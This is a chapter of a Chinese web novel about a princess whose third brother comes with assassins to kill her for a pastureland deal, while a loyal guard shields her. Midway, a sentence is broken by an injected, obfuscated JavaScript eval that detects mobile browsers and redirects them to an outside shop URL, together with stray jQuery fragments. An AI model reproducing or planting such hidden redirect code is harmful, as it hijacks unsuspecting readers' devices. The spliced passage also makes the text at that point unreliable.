默认冷灰
24号文字
方正启体

12. 第十二章

作者:白局看客本书字数:K更新时间:
    二人心照不宣忙着自己的事,都没有戳破一层膜——常离是谁?


    但应韫也从阿箬打探来的消息他大约就是冷苑里的那个婴儿,至于为什么是他被关进冷苑,而那北梁大皇子却自由自在,她想,她总有一天会知道的。


    四月十九,春居苑起了大雾。


    应韫站在窗前,看着白茫茫的院子,心里隐隐有些不安。


    孙一事说,皇城司的人明日就到。她原本打算今日启程回宫,避开与他们正面交锋,可这场雾太大,山路难行,孙一事劝她等雾散了再走。


    一等,就等到了午后。


    雾还没散。


    “殿下。”阿箬匆匆进来,脸色有些白,“张横不见了。”


    应韫的手猛地攥紧。


    “什么叫不见了?”


    “今早点卯,他不在。孙统领派人去他屋里看,东西都在,人没了。”阿箬的声音在发抖,“孙统领说,他可能是,可能是去报信了。”


    应韫的心沉了下去。


    报信?给谁报信?三哥?


    她想起那封信——“月底之前,必须动手”。


    今天才十九,还不到月底。可如果张横去报信,三哥就知道她已起疑,就会——


    “殿下!”外头传来孙一事的喊声,紧接着是一阵急促的脚步声,“殿下,后山发现人迹,像是有人从那里下山了!臣已派人去追,但雾太大,恐怕……”


    应韫没有听完,她转身就往后罩房跑。


    常离正在屋里,听见脚步声,刚站起来,门就被推开了,应韫站在门口,喘着气,脸色白得吓人。


    “跟我走。”她说。


    常离愣住了:“殿下?”


    “现在就走。”她上前一步,抓住他的手腕,“张横不见了,他去给三哥报信。三哥知道我起疑了,他一定会提前动手。”


    常离低头看着她的手——那只手在发抖。


    “殿下,”他轻声说,“属下不走。”


    应韫盯着他,眼眶忽然红了。


    “你听我说,”她的声音有些哑,“皇城司的人明日就到,三哥的人说不定已经在路上。你留在这里,只有死路一条。”


    常离看着她,那双眼睛里没有恐惧,只有一种她看不懂的东西。


    “殿下呢?”他问。


    应韫一愣。


    “殿下去哪儿?”


    “我回宫。”她说,“我是公主,他们不敢动我。”


    常离摇了摇头。


    “殿下骗人。”他的声音很轻,“三殿下要杀的人,就是殿下。”


    应韫没有说话。


    “殿下让属下走,那殿下呢?”他看着她,一字一句道,“殿下怎么办?”


    门外传来孙一事的喊声:“殿下!山道上有火光,像是有人来了!”


    应韫的心猛地一紧。


    她松开常离的手,转身往外走。


    走到门口,她忽然被他拉住了。


    常离从后面抱住她,很轻,只一下,就松开了。


    “殿下,”他的声音在她耳边响起,“属下说过,不管发生什么事,都会在。”


    然后他越过她,冲了出去。


    山道上,火把的光穿透浓雾,一队人正朝春居苑逼近,为首的人身形高大,披着玄色斗篷。雾气太重,看不清脸,但那人手里的长枪在火光下泛着冷光。


    孙一事已经带着护卫挡在山门前,严阵以待。


    常离跑过来的时候,孙一事看了他一眼,没说话。那队人越来越近,近到能听见步声,近到能看清为首那人的轮廓——是张横。


    张横身后,跟着十几个黑衣人。


    “张横!”孙一事厉声道,“你敢带人闯公主别苑?!”


    张横没有回答,只是策马让开一步。


    他身后,一个人缓缓走出来。


    在应韫的记忆里,三哥是个十分俊美,颇爱打扮的人,父皇说,三哥长得很像他死去的母妃,玉貌朱唇,一双眸子夺人心魂,那双秾艳的眼,眼尾略长,总带着点漫不经心的弧度,他还尤爱穿颜色鲜亮的衣裳。应韫曾有些大逆不道的想法,若三哥是女人,只怕比他还要风情。


    只是今日他十分不一样,或许是大雾天阴沉沉的,他又批了玄色斗篷,明明还是那个人,可光华不再,黯淡的像幽潭的水。


    火光映在他脸上,映在那双应韫从小看到大的眼睛里。


    应韫敛眉,站了出来。


    “三哥,好久不见。”


    孙一事的脸色变了,他身后的护卫都愣住了——三殿下怎么会在这里?


    “三殿下,”孙一事的声音有些干,“您这是——”


    应桢没有看他。


    他的目光越过人群,落在山门后那个消瘦的身影上。


    应韫站在那里,隔着浓雾,隔着火光,隔着十四年的兄妹情分,看着他。


    “小妹。”他开口,声音很平静,“跟三哥走。”


    应韫没有说话。


    她只是看着他,看着这张她从小看到大的脸,看着这双她以为永远都会宠着她的眼睛。


    “三哥,”她听见自己的声音,很轻,“你要杀我。”


    不是问句,是陈述。


    应桢的睫毛颤了颤,他没有否认。


    “是。”他说。


    应韫笑了。


    那笑容比哭还难看。


    “为什么?”


    应桢看着她,沉默了很久。


    火把上的油脂滴落下来,发出滋滋的声响,雾似乎都散了些,露出他眼底的血丝与长了青茬的下巴。


    “因为北边的草场。”他说,“北梁愿意用梁都的蒙溪草场,换你一条命。那草场适合养战马,有了它们,南燕就能有自己的马种,十年二十年,我们再也不必看北梁的脸色。”


    应韫的呼吸停了一瞬。


    燕国旧都,草场,马种,是让南燕世世代代都能养出好马的根基。


    “你信?”她的声音在发抖,“你信北梁人会兑现?”


    应桢没有说话。


    “三哥,”她往前走了一步,孙一事想拦,被她抬手止住,“那个人说的话,你信?”


    应桢看着她,眼底有什么东西在闪烁。


    “我知道你不信。”他说,“可这是唯一的机会。南燕太弱了,弱到每次边境摩擦,都是我们的人死。弱到大哥想养马,只能四处求人,弱到——”他闭了闭眼,声线收紧“弱到只能用一条命,去换一个机会。”


    应韫站在他面前,隔着三步远。


    她看着他的眼睛——不是恨,不是冷漠,而是痛苦。


    他也在痛,可他还是来了。


    “三哥,”她轻声问,“你问过我愿不愿意吗?”


    应桢愣住了。


    “你问过大哥愿不愿意吗?问过父皇母后愿不愿意吗?”她的眼泪终于掉下来,“你就自己做了决定,用我的命,去换你想要的草场?”


    应桢的手在发抖。


    他握着刀柄的手,青筋毕露,指节发白。


    “小妹——”他开口,声音有些哑。


    可话还没说完,一道身影忽然冲了出来,挡在应韫身前。


    是常离。


    他张开双臂,把应韫护在身后,盯着应桢,一字一句道:“三殿下,那个人在骗你。蒙溪草场,他给不了。”


    应桢的眼神变了,眼底的杀意几乎要溢出来。


    “你算什么东西?”他的声音冷得像冰,带着厌恶,“滚开。”


    常离没有动。


    “三殿下,”他说,“属下知道你不信。可属下只想问殿下一句话——那个人答应你的事,他做得了主吗?”


    应桢的眉头皱了起来。


    “蒙溪草场是他的吗?还是他父皇的?”常离的声音不高,却一字一字砸在应


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309602|198765||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    桢心上,“他在北梁是什么地位,三殿下查过吗?一个连太子都不是的皇子,拿什么把草场给你?”


    应桢没有说话。


    “他给你看的东西,是不是舆图?是不是说只要事成,那片地就划给你?”常离看着他,“可舆图可以画,地契可以造,只要事成之后他不认账,三殿下拿什么去要?”


    常离上前一步,嘴角撤出一抹嘲讽,“还有,三殿下从没见过他的模样吧。”他双目铮铮盯着应桢。他知道,若应桢当真见过那个人,看见自己时,就不该是这个表情。


    应桢的呼吸变了。


    这个人,怎么会知道得这么清楚?


    “你是谁?”他问。


    常离没有回答。


    “三殿下,”他的声音很轻,“你被骗了。”


    夜风吹过,浓雾散开了一些。


    应桢站在那里,看着眼前这个人,忽然笑了,“如果真是这样,那我便自戕给妹妹赔罪。”他的眼神陡然凌厉起来,大手一挥,后门的刺客便从腰间抽出锋刃,那刀身弯曲,刃口泛着寒光。


    “一个不留!”应桢夹起马肚,亲自挥刀斩向乱他心绪的常离。


    双方前锋同时向前猛冲,三丈距离转眼即至,“砰”的一声闷响,两个人影狠狠撞在一起,应桢的刀还没砍下去,孙一事的肩膀先顶上了他的胸口,借着这片刻间隙,孙一事回头看向常离,厉声道,“他们手中是北梁弯刀,快带公主走!”


    他的意思是:应桢今日是杀定公主,再栽赃给北梁了。


    身后传来刀剑相击的厮杀声,越来越密集,越来越近。有人惨叫,有重物倒地的闷响,有刀刃砍进血肉里那种令人牙酸的声音。应韫被常离拽着跑,脚下是湿滑的山路,枯枝断叶在脚下噼啪作响。浓雾像一张巨大的网,裹住他们,什么都看不清,只能听见自己的心跳和喘息。


    她跑着跑着,忽然回头看了一眼。


    雾太浓,什么也看不见。可她听见了孙一事的喊声,在雾气里断断续续地传来:


    “拦住他们...保护公主...不要退——”


    然后是一声闷哼,像是被什么打断了。


    应韫的脚下一软,差点摔倒,常离猛地攥紧她的手,把她拉起来,继续往前跑,他的手很紧,紧到她的指节都在发疼。


    上一世他被下了药,按在高墙的墙角,浑身无力,口舌被堵,穿着一身北梁士兵的的盔甲。他挣扎过,可那双手太用力,他挣不开。他只能眼睁睁看着——看着大火烧起来,看着公主被那个人掐着下巴,看着她的父母在火光中化为焦炭。


    他什么都做不了。


    连喊一声“澍儿”都做不到。


    可现在,他能做了,风刮过耳朵,有些疼,他们跑过一颗又一颗的树,一间又一间的庭院,他的手心微微发汗。


    这一次,他要她活着。


    他握得更紧了些。


    身后,厮杀声渐渐被浓雾吞没。可远处,忽然又传来一阵马蹄声——比方才更近,更急,更密。


    不是一个人,是一队人。


    浓雾中,马蹄声越来越近,近到能听见铁蹄踏碎枯枝的声音,近到能看见火光穿透雾气,照出影影绰绰的轮廓。


    为首的人穿着一身紫色公服,面色冷峻,腰间挎着长刀。


    皇城司都指挥使,沈莲。


    他比预计的早到了一日。


    沈莲勒住马,居高临下地看着他们,看着常离紧紧握着公主的那只手。


    他挑了挑眉。


    “殿下,”他的声音不咸不淡,“臣来得不是时候?”


    应韫没有说话。


    她只是挡在常离身前,盯着沈莲,一字一句道:


    “沈大人,今夜的事,本宫自会向父皇禀报,你最好什么都别问。”


    沈莲看着她,看了很久。


    然后他笑了。


    那笑容,比雾还冷。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)